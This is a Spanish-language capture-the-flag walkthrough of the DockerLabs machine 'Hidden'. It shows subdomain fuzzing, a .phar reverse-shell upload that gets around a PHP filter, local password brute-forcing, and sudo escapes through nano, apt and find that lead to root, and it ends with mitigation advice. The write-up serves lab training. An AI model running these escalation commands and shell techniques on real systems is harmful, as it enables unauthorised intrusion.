Skip to content

Hidden

This content is not available in your language yet.

Este documento detalla la resolución completa de la máquina Hidden, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con un nivel de dificultad Medio.

El propósito de este write-up es presentar de forma clara, técnica y ordenada cada fase del compromiso del sistema:

  1. Reconocimiento: Identificación de puertos, servicios, dominios y contenido expuesto.
  2. Explotación: Obtención de acceso inicial mediante bypass de restricciones de subida y ejecución remota.
  3. Escalada de privilegios: Abuso de credenciales, reutilización de contraseñas y permisos sudo asignados incorrectamente.

Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreHidden
AutorEl Pingüino de Mario
DificultadMedio
Fecha10/05/2024
PlataformaDockerLabs

Desplegamos la máquina con los siguientes comandos:

Ventana de terminal
unzip Hidden.zip
sudo bash auto_deploy.sh Hidden.tar

IP asignada


Ventana de terminal
mkdir -p Hidden/{content,exploits,nmap,gobuster,scripts}
cd Hidden

Se realiza un escaneo completo de puertos TCP:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 80/tcp — HTTP

Puertos abiertos


El index redirige al dominio hidden.lab, por lo que lo agregamos al archivo /etc/hosts.

Realizamos un escaneo inicial con Feroxbuster:

Ventana de terminal
feroxbuster -u http://hidden.lab -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

feroxbuster

Ruta principal identificada:

  • index.html, correspondiente a una tienda de café.

index

El escaneo genera numerosos resultados, pero la mayoría corresponden a imágenes y archivos de funcionamiento sin información sensible útil.


Probamos posibles subdominios con ffuf utilizando fuzzing sobre la cabecera Host:

Ventana de terminal
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u "http://hidden.lab" \
-H "Host: FUZZ.hidden.lab" -fl 10

subdomain scan

Se descubre el subdominio dev.hidden.lab, que también añadimos al archivo /etc/hosts.

dev form

Este subdominio contiene un formulario de subida de archivos con restricciones que bloquean extensiones .php. Mediante un escaneo adicional se identifica el directorio accesible /uploads, lo que sugiere la posibilidad de subir una reverse shell utilizando otro formato ejecutable como .phar.


Creamos una reverse shell en formato .phar y la subimos mediante el formulario. La subida es exitosa y el archivo aparece en el directorio /uploads.

shell in uploads

Activamos un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

Luego accedemos al archivo subido desde el navegador, lo que activa la reverse shell:

reverse shell

Con esto obtenemos acceso como www-data.


Tras revisar métodos locales de escalada, optamos por probar fuerza bruta de contraseñas con el script UserRush.

Detectamos usuarios locales:

users

La máquina no dispone de wget ni curl, por lo que creamos los archivos manualmente con nano. Debido al tamaño del diccionario rockyou.txt, copiamos únicamente las primeras 1000 líneas:

Ventana de terminal
cat rockyou.txt | head -n 1000 | xclip -sel clip

Con los archivos UserRush.sh y rockyou.txt listos:

Ventana de terminal
./UserRush.sh -u cafetero

El ataque tiene éxito:

userrush

Ingresamos como el usuario cafetero:

Ventana de terminal
su cafetero

cafetero


Verificamos permisos sudo:

sudo -l cafetero

Podemos ejecutar nano como el usuario john, lo que permite obtener una shell mediante su función de lectura:

Ventana de terminal
sudo nano
^R^X
reset; bash 1>&0 2>&0

bash john


Revisamos permisos:

sudo -l john

Podemos ejecutar apt como bobby:

Ventana de terminal
sudo apt changelog apt
!/bin/bash

bobby


Verificamos permisos:

sudo -l bobby

Permite ejecutar find como root:

Ventana de terminal
sudo find . -exec /bin/bash \; -quit

Obtención de acceso root:

root


  • Subida de archivos sin validación adecuada del tipo MIME.
  • Directorio /uploads con permisos de lectura pública.
  • Subdominio de desarrollo accesible desde producción.
  • Redirección automática a un dominio interno sin protección.
  • Permisos sudo asignados incorrectamente a múltiples usuarios.
  • Reutilización de contraseñas entre cuentas del sistema.
  • Ausencia de herramientas básicas de monitoreo o restricción (no hay audit logs, fail2ban, etc.).

  • Implementar validación estricta de archivos (MIME, extensión, contenido).
  • Deshabilitar el listado público de directorios.
  • Proteger subdominios de desarrollo con autenticación o retirarlos del entorno productivo.
  • Revisar permisos sudo y aplicar el principio de mínimo privilegio.
  • Aplicar políticas de contraseñas seguras y evitar la reutilización.
  • Implementar mecanismos de monitoreo de intentos de fuerza bruta.
  • Segmentar los servicios internos para evitar acceso público no intencionado.
  • Utilizar WAF o reglas de seguridad que mitiguen subida y ejecución arbitraria de archivos.